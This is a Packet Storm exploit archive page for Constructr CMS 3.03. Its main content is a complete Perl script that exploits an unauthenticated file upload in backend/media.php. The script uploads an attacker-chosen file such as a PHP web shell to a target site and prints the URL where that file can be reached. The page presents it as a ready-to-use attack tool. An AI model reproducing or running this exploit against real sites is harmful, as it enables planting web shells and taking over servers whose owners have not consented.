exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Constructr CMS 3.03 Shell Upload

Constructr CMS 3.03 Shell Upload
Posted Mar 23, 2011
Authored by plucky

Constructr CMS version 3.03 suffers from a remote shell upload vulnerability.

tags | exploit, remote, shell
SHA-256 | 4016df6af6e009e58f6504666547d58edca736c3bd26f224887ce744c5703376

Constructr CMS 3.03 Shell Upload

Change Mirror Download
#!/usr/bin/env perl

# Constructr CMS 3.03 Arbitrary File Upload
#
# Author: plucky
# Email: io.plucky@gmail.com
#
# Vulnerable Page: /constructr/backend/media.php [line
# App Download: http://sourceforge.net/projects/constructr/
#
# Date: 23/03/2011
# THX TO: yawn, shrod, h473 and DoMinO

use strict;
use warnings;

use LWP::UserAgent;
use HTTP::Request::Common qw( POST );


my $host = '';
my $file_to_upload = '';
my $new_file_name = '';
my $file_extension = '';


sub exploit_usage {

print 'Constructr CMS 3.03 Arbitrary File Upload' . "\n".
'-------------------------' . "\n".
'Author: plucky' . "\n".
'Email: io.plucky@gmail.com' . "\n".
'-------------------------' . "\n".
'Usage:' . "\n".
' perl xpl.pl [host]/[cms-path]/ /[path-file]/[file]' . "\n".
'Example:' . "\n".
' perl ' . $0 . ' http://vulnerable.com/constructr/ /home/plucky/shell.php' . "\n";

exit;

}

sub file_parse {

my $file_name = '';
my $file_extension = '';
my $file_to_upload = '';
my $rfile_to_upload = '';


$rfile_to_upload = shift;
$file_to_upload = ${$rfile_to_upload};

$file_to_upload =~ m/\/([a-z0-9]+)\.([a-z]+)/i;

$file_name = $1;
$file_extension = $2;

return ( $file_name, $file_extension )

}

sub upload_file {

my $host = '';
my $rhost = '';
my $file_name = '';
my $file_extension = '';
my $response = '';
my $path = '';
my $html = '';
my $user_agent = '';
my $file_to_upload = '';
my $rfile_to_upload = '';
my $new_file_name = '';


( $rhost, $rfile_to_upload ) = @_;

$host = ${$rhost};
$file_to_upload = ${$rfile_to_upload};

$user_agent = LWP::UserAgent->new;
$path = $host . 'backend/media.php';


$response = $user_agent->post(
$path,
[
'create_file' => 'try',
'file' => [$file_to_upload],
],
'Content_Type' => 'form-data'
);


( $file_name, $file_extension ) = file_parse( \$file_to_upload );


$html = $response->decoded_content;
$html =~ m/show_path=([a-f0-9]{32})\.$file_extension">$file_name\.$file_extension<\/a>/i;

$new_file_name = $1;

return ( $new_file_name, $file_extension );

}

@ARGV == 2
? ( $host, $file_to_upload ) = @ARGV
: exploit_usage();

( $new_file_name, $file_extension ) = upload_file( \$host, \$file_to_upload );


print $host, 'data/workspace/uploads/', $new_file_name, '.', $file_extension, "\n";

Login or Register to add favorites

File Archive:

August 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Aug 1st
    15 Files
  • 2
    Aug 2nd
    22 Files
  • 3
    Aug 3rd
    0 Files
  • 4
    Aug 4th
    0 Files
  • 5
    Aug 5th
    15 Files
  • 6
    Aug 6th
    11 Files
  • 7
    Aug 7th
    43 Files
  • 8
    Aug 8th
    42 Files
  • 9
    Aug 9th
    36 Files
  • 10
    Aug 10th
    0 Files
  • 11
    Aug 11th
    0 Files
  • 12
    Aug 12th
    27 Files
  • 13
    Aug 13th
    18 Files
  • 14
    Aug 14th
    50 Files
  • 15
    Aug 15th
    33 Files
  • 16
    Aug 16th
    23 Files
  • 17
    Aug 17th
    0 Files
  • 18
    Aug 18th
    0 Files
  • 19
    Aug 19th
    43 Files
  • 20
    Aug 20th
    0 Files
  • 21
    Aug 21st
    0 Files
  • 22
    Aug 22nd
    0 Files
  • 23
    Aug 23rd
    0 Files
  • 24
    Aug 24th
    0 Files
  • 25
    Aug 25th
    0 Files
  • 26
    Aug 26th
    0 Files
  • 27
    Aug 27th
    0 Files
  • 28
    Aug 28th
    0 Files
  • 29
    Aug 29th
    0 Files
  • 30
    Aug 30th
    0 Files
  • 31
    Aug 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close